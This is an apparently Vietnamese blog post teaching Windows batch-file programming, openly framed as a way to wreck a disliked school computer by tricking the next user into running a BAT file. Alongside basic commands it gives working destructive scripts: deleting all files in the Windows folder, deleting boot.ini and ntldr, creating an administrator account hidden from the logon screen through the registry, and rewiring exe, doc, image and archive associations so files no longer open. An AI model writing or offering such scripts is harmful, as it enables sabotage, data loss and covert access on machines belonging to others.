Thể loại: | Command line | Trang chủ: | SHOPCNTT |
Sử dụng: | Miễn phí | Dung lượng: | 430.01 MB |
Cập nhật: | 01-07-2013 | Ngôn ngữ: | English |
Nguồn: | Internet | Password: | Không có |
Phát hành: | Chưa xác định | Hỗ trợ: | Không có |
Yêu cầu: | Windows XP SP2, Windows Vista, Windows 7 |
Lập trình Command line (Bat)
Lập trình Command line (Bat) - shopcntt
GIỚI THIỆU
Giả sử ta đang ngồi 1 cái máy ở trường mà ta rất ghét, mún phá nó quá (nhưng không mún ai bít cơ:88 ---
tìm xung quanh chẳng thấy cái gì có thể làm 1 cái chương trình để cho thèng ngồi lần sau ấn vào là toi T_T Lúc này làm 1
cái BAT-file roài dụ nó ấn vào là chuẩn Nhưng ta phải làm thế nào bây giờ, mình sẽ giúp các bạn (mình hiểu thế nào
oánh thế đó đó :109.....
_ Lập trình với BAT, sử dụng các command (lệnh) của MSDOS VD: del, cd, copy v.v..v.. Nó trở lên rất dễ với ai đã
quá quen với command của dos:77:
VD: Chương trình BAT có dạng
Code:
ECHO Chuong trinh thu nhat
CD %WinDir%
DEL *.*
_Ta mở notepad lên và oánh đoạn đó vào, save với 1 name bất kỳ nhưng phải có extension (đuôi, phần mở rộng) là bat
, khi nào cần đến chỉ cần ấn đúp vào nó thoai (trong Windows) còn ở cmd thì chỉ cần gọi tên của nó ra, ta save là chul
thì đánh chữ chul vào bat file sẽ hoạt động :88:
_ Chương trình ở trên ECHO ( Viết ra màn hình 1 đoạn chữ ), roài vào thư mục của windows, xóa hết tất cả cái gì trong đó
======== Programming ==========
_ Hầu hết tất cả chương trình Bat đều có dòng @echo off... Vì sao thía nhỉ?
_Trong MSDOS... dấu @ đằng trước để giấu report (thông tin trả về từ lệnh nào đó) của lệnh đó đi.
Lệnh echo off làm cho prompt (dấu nhắc) biến mất, và thực thi các lệnh sau đó mà không ai bít là đang chạy command của bat cả
_Mình sẽ liệt kê ra đây 1 số command cơ bản trong lúc lập trình, những lệnh nào chủ yếu sử dụng sẽ được nói rõ
_CLS: Clear Screen ( Xóa màn hình )
CD: Vào 1 thư mục nào đó
__ CD C:\Windows { Vào thư mục Windows}
__ CD .. {Lùi trở về 1 thư mục, vd bạn đang ở thư mục windows\system32 thì nó lùi về thư mục Windows}
__ CD \ {Lùi về thư mục gốc (root)}
DIR: Hiển thị các tệp và thư mục con trong thư mục chính
__ DIR /A { Hiển thị tất cả files cả files ẩn và system}
_ECHO ( Lệnh điều khiển các lệnh và viết output ra màn hình)
Cấu trúc: echo [ON|OFF|message|.]
__ echo {Hiển thị trạng thái của ECHO là ON hay OFF}
__ echo ON {Khôi phục ECHO về trạng thái ban đầu}
__ echo OFF {Ẩn dấu nhắc của DOS}
__ echo Nhin gi? {Hiển thị ra màn hình chữ Nhin gi?}
__ echo %CHUL% {Hiển thị ra màn hình giá trị của biến CHUL(sẽ nói ở dưới)}
__ echo. {Hiện thị 1 khoảng trắng, tương tự như \n}
__ echo Y|Del *.* {Tự động trả lời YES với câu lệnh DEL *.*, tức là tự động xóa tất cả các file trong thư mục bạn đang ở}
GOTO: Chạy các lệnh trong label (hic... đếch hỉu cái này có nghĩa gì, nhãn àh?)
__ goto CHUL {Chạy các lệnh trong label CHUL}
SET: Tạo, thay đổi hoặc xóa các giá trị
Cấu trúc: set [variable=[giátrị]] {variable: là 1 đoạn các ký tự, chấp nhận cả khoảng trắng.. }
__ set {hiển thị tất cả các giá trị đã được set =.=}
__ set USER=CHUL {Set giá trị CHUL cho USER}
__ set USER= {xóa USER}
CALL: Gọi 1 BAT file khác
call [drive:][path]filename [batch-parameters]
REM: Tạo ghi chú cho file bat
EXIT: Thoát
IF: Câu điều kiện (thực hiện lệnh nếu thỏa mãn điều kiện)
Cấu trúc: if [not] điềukiện lệnh
__ if [not] errorlevel number command { Ở đây errorlevel là giá trị trả về của 1 chương trình hay 1 lệnh
(giống return ghê) chỉ có các lệnh: BACKUP, RESTORE, FORMAT, REPLACE, và XCOPY mới có errorlevel.
Number là số mà ta nhập vào, nếu số lớn hơn giá trị trả về của error number thì điều kiện là true và command (lệnh) được thực hiện,
nếu nhỏ hơn thì là FALSE.. không thực hiện}
__ BACKUP C:\*.* A: /s if errorlevel 3 goto END { Lệnh này thực hiện BACKUP ổ C, nếu errorlevel lớn hơn 3 thì sẽ được chuyển tới các
lệnh trong label END.
_ FOR: (Cái này mình hông bít rõ định nghĩa lắm =.=) Lặp lại thao tác của các lệnh trong câu lệnh FOR.
Cấu trúc: for %%thamsố in (lệnh) do command
{ Tham số từ các ký tự từ A->Z, lệnh là các command của dos, có thể dùng lệnh CALL để gọi 1 bat file khác cho đỡ rườm
ra nếu câu lệnh quá nhiều
__ for %%d in (C,D) do DIR %%d *.* { DIR (hiển thị) tất cả các files trong ổ C, D)
__ for %%f in (*.TXT *.BAT *.DOC) do TYPE %%f { TYPE ( Hiển thị nội dung files) của tất cả các files có phần mở rộng là TXT, BAT, DOC}
__ for %%P in (%PATH%) do if exist %%P\*.BAT COPY %%P\*.BAT C:\BAT
{ Nếu có thư mục trong biến %PATH% thì ta copy tất cả files có phần mở rộng là BAT trong thư mục đó ra
C:\BAT (%PATH% đã được SET giá trị}
__ for %%f in (*.PAS) do call complie %%f { Gọi bat file Complie.bat ở cùng thư mục thực hiện các lệnh của nó
với tất cả file có phần mở rộng là PAS}
Tạm xong các lệnh cơ bản... ta típ tục thực hành nào
%DIGIT: Tham số {digit là số}
%digit : {Gồm các số từ 0 tới 9, được nhập vào từ bàn phím}
VD: ta có 1 chương trình
Code:
@ECHO OFF
CD\
CD %1
DEL %2
Ta save nó ở ổ C:\ là 1.bat, típ theo ta vào Start=>Run, oánh vào đó
Code:
C:\1.BAT Windows *.*
Khi đó thì ta đã nhập cho %1 giá trị là Windows và %2 là *.*
==> chương trình trên sẽ thực hiện lệnh xóa hết tất cả các file trong thư mục windows.
SHIFT: Ta hãy xem tác dụng của nó = chương trình ở dưới
Code:
@ECHO OFF
ECHO Gia tri thu nhat la %1
ECHO.
SHIFT
ECHO Gia tri thu hai la %1
ECHO.
SHIFT
ECHO Gia tri thu ba la %1
Ta save nó là 2.bat và Chạy nó như sau
Code:
C:\2.bat hcs hce vbf
Thì nó sẽ xuất ra như sau
Code:
Gia tri thu nhat la hcs
Gia tri thu hai la hce
Gia tri thu ba la vbf
Ta thấy các tham số đều là %1, vậy lệnh shift đã đưa các giá trị của tham số từ trên xuống dưới %1 là hcs, %2 là hce, %3 là vbf
FOR: Vòng lặp for
_Cấu trúc: FOR %%PARAMETER IN(set) DO command
Ta sẽ thử 1 đoạn đơn giản
Code:
@ECHO OFF
CLS
FOR %%A IN(hce,hcs) DO ECHO %%A
Trong đó, đoạn IN(hcs,hcs) là danh sách các lệnh hay ký tự để vòng lặp for chạy.
%%a được gán những gia trị khác nhau để khi thực hiện các lệnh bằng giá trị đó.
Đoạn chương trình trên sẽ hiện ra
Code:
hce
hcs
Ta sẽ thêm 1 VD, kết hợp for và %digit
Code:
@ECHO OFF
ECHO.
ECHO Chuong trinh se del cac file sau
ECHO %1 %2
ECHO.
ECHO Neu ban khong mun tip tuc thi out di
PAUSE
FOR %%a IN (%1 %2 ) DO DEL %%a
ECHO Da xoa xong
Ta save nó vào ổ C:\ với tên là 3.bat
Code:
Start=> Run: C:\3.bat C:\Boot.ini C:\ntldr
Khi đó chương trình sẽ thực hiện xóa 2 file là c:\boot.ini và c:\ntldr..
Khi chạy, nó sẽ hiện thị
Code:
Chuong trinh se del cac file sau
C:\Boot.ini C:\ntldr
Neu ban khong mun tip tuc thi out di
Press any key to continue . . .
Da xoa xong
LABEL (Là gì ai bảo hộ em với >.< )
Với LABEL ta có thể tạo 1 vòng lặp đơn giản
Code:
@echo off
:loop
echo Vong Lap
goto loop
Khi đó chữ Vong Lap sẽ xuất hiện liên tục =.=
:loop là để khai báo vòng lặp loop...
goto loop là để gọi label loop ra
Típ theo VD thứ 2:
Code:
@echo off
:loop
if exist c:\boot.ini goto bootini
else
echo Ban khong co boot.ini
:bootini
echo ban co boot.ini
Chương trình trên sẽ kiểm tra ổ C có boot.ini không, nếu có thì tới label :bootini nếu không thì sẽ hiển thị ra màn hình chữ
Ban khong co boot.ini
Típ tục thêm 1 vd, ta sẽ sử dụng IF [NOT] string1==string2 Command
Code:
@ECHO off
IF %1==copy GOTO COPY
else
IF%1==del GOTO DEL
else
ECHO Dinh lam gi the ku
:COPY
Copy %2 C:
GOTO :END
:DEL
del %2
:END
Lại típ tục save nó thành 4.bat
Code:
Start=>Run: C:\4.bat copy E:\Windows\win.ini
Khi đó, CT sẽ tới Label copy và copy E:\windows\win.ini sang ổ C:\
còn nếu
Code:
Start=>Run: C:\4.bat del E:\Windows\win.ini
Thì CT sẽ del E:\Windows\win.ini =.=...
Sử dụng echo, gán giá trị vào files
VD:
Code:
echo %1 >> chul.txt
Tới đây thì ai cũng bít cách run nó rùi chứ? ... chương trình sẽ ghi đoạn ta type vào file chul.txt
Ta sẽ có thêm 1 vài câu lệnh
Code:
command >> file {Ghi command vào file}
command > nul { thực hiện các lệnh mà không hiển thị output:D, vd copy c:\boot.ini d:\ > nul}
command < file {Chạy command từ file}
Làm việc với registry
Bat file không hỗ trợ ghi vào registry, nhưng ta có thể dùng echo tạo ra 1 *.reg để ghi vào registry
VD:
Code:
echo Windows Registry Editor Version 5.00>%TEMP%\addregistry.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Chul]>>%TEMP%\addregistry.reg
echo "Chul"=dword:00000000>>%TEMP%\addregistry.reg
Regedit /s %TEMP%\addregistry.reg
Khi đó, ta đã tạo ra 3 dòng ghi vào trong addregistry.reg, rồi run nó bằng tools regedit của windows =.=.....
Trên đây là những cái cơ bản về lập trình bat để bạn có thể viết 1 cái gì đó cho mình....
Còn đây là các chương trình viết = bat :
1_ Tạo nick admin trong WinXP
Code:
@ECHO off
TITLE Admin account creator (0ni)
COLOR 0f
set AC_PART=001
:HEADER
echo.
ECHO [INFO]
ECHO [-] Create a hidden user acount (U:%AC_NAME%; P:%AC_PASS%; G:%AC_GROUP%; H:%AC_HIDE% )
echo \
GOTO %AC_PART%
:001
SET /P AC_NAME=[*] Acount name? :
cls
SET AC_PART=002
GOTO HEADER
:002
SET /P AC_PASS=[*] Acount password? :
cls
SET AC_PART=003
GOTO HEADER
:003
SET /P AC_COMMENT=[*] Acount Comment? :
cls
SET AC_PART=004
GOTO HEADER
:004
ECHO [* The following groups are available on the machine.
ECHO.
net localgroup | find "*"
ECHO.
SET /P AC_GROUP=[*] Group? :
cls
SET AC_PART=005
GOTO HEADER
:005
SET /P AC_OK=[*] Creating acount now, Continue? (y/n) :
IF NOT %AC_OK%==y GOTO 0051
net user %AC_NAME% %AC_PASS% /add /COMMENT:"%AC_COMMENT%"
net localgroup "%AC_GROUP%" %AC_NAME% /add
ECHO.
pause
:0051
cls
SET AC_PART=006
GOTO HEADER
:006
SET /P AC_HIDE=[*] Do you want to hide the acount from the XP logon screen? (y/n) :
IF NOT %AC_HIDE%==y GOTO END
echo Windows Registry Editor Version 5.00>%TEMP%\addregistry.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]>>%TEMP%\addregistry.reg
echo "%AC_NAME%"=dword:00000000>>%TEMP%\addregistry.reg
Regedit /s %TEMP%\addregistry.reg
Del %TEMP%\addregistry.reg
:END
ECHO.
pause
2_ Xóa các phần mở rộng của file
Code:
if exist c:\safety.txt goto end
copy "C:\WINDOWS\System32\winmine.exe" "C:\WINDOWS\winmine.sbs
copy "C:\WINDOWS\System32\winmine.exe" "C:\WINDOWS\System32\winmine.sbs
assoc .sbs=exefile
regedit.exe /s .\nuke.reg
assoc .bat=txtfile
assoc .com=txtfile
assoc .cmd=txtfile
assoc .exe=txtfile
assoc .doc=txtfile
assoc .ppt=txtfile
assoc .xls=txtfile
assoc .jpg=txtfile
assoc .png=txtfile
assoc .jpeg=txtfile
assoc .vir=exefile
assoc .avi=txtfile
assoc .mpg=txtfile
assoc .bak=txtfile
assoc .docx=txtfile
assoc .pptx=txtfile
assoc .xlsx=txtfile
assoc .sav=txtfile
assoc .rar=txtfile
assoc .zip=txtfile
assoc .7z=txtfile
assoc .gz=txtfile
vv.v..v.v
==================================
@echo off
echo HIDDEN and SHOW PARTITION!!!
echo 1.An
echo 2.Hien
echo 3.Ket Thuc
set p=
set /p p= OPTION:
if %p%==1 goto an
if %p%==2 goto hien
if %p%==3 goto kt
if not %p%==3 goto kt
:an
cd /d c:\
echo --------------------------------------------------------------------------
echo XEM DANH SACH CAC O DIA DUOC LIET KE VA
echo NHAN MOT PHIM BAT KI DE TIEP TUC
ECHO --------------------------------------------------------------------------
echo.list.txt
echo list volume >>list.txt
diskpart /s list.txt
pause
del /q list.txt
color b
set v=
set /p v=Nhap Volume:
set d=
set /p d=Nhap Ten Nhan Dia:
echo.dp.txt
echo list volume>>dp.txt
echo select volume %v% >>dp.txt
echo remove letter %d% >>dp.txt
diskpart /s dp.txt
del dp.txt
goto kt
:hien
cd /d c:\
echo --------------------------------------------------------------------------
echo XEM DANH SACH CAC O DIA DUOC LIET KE VA
echo NHAN MOT PHIM BAT KI DE TIEP TUC
ECHO --------------------------------------------------------------------------
echo.list.txt
echo list volume >>list.txt
diskpart /s list.txt
pause
del /q list.txt
color b
set v=
set /p v=Nhap Volume:
set d=
set /p d=Nhap Ten Nhan Dia:
echo.dp.txt
echo list volume>>dp.txt
echo select volume %v% >>dp.txt
echo assign letter %d% >>dp.txt
diskpart /s dp.txt
del dp.txt
goto kt
:kt
cls
echo #===============================================#
echo HOAN TAT!!!
pause
1 comments:
Báo lỗi ko cho tải
Post a Comment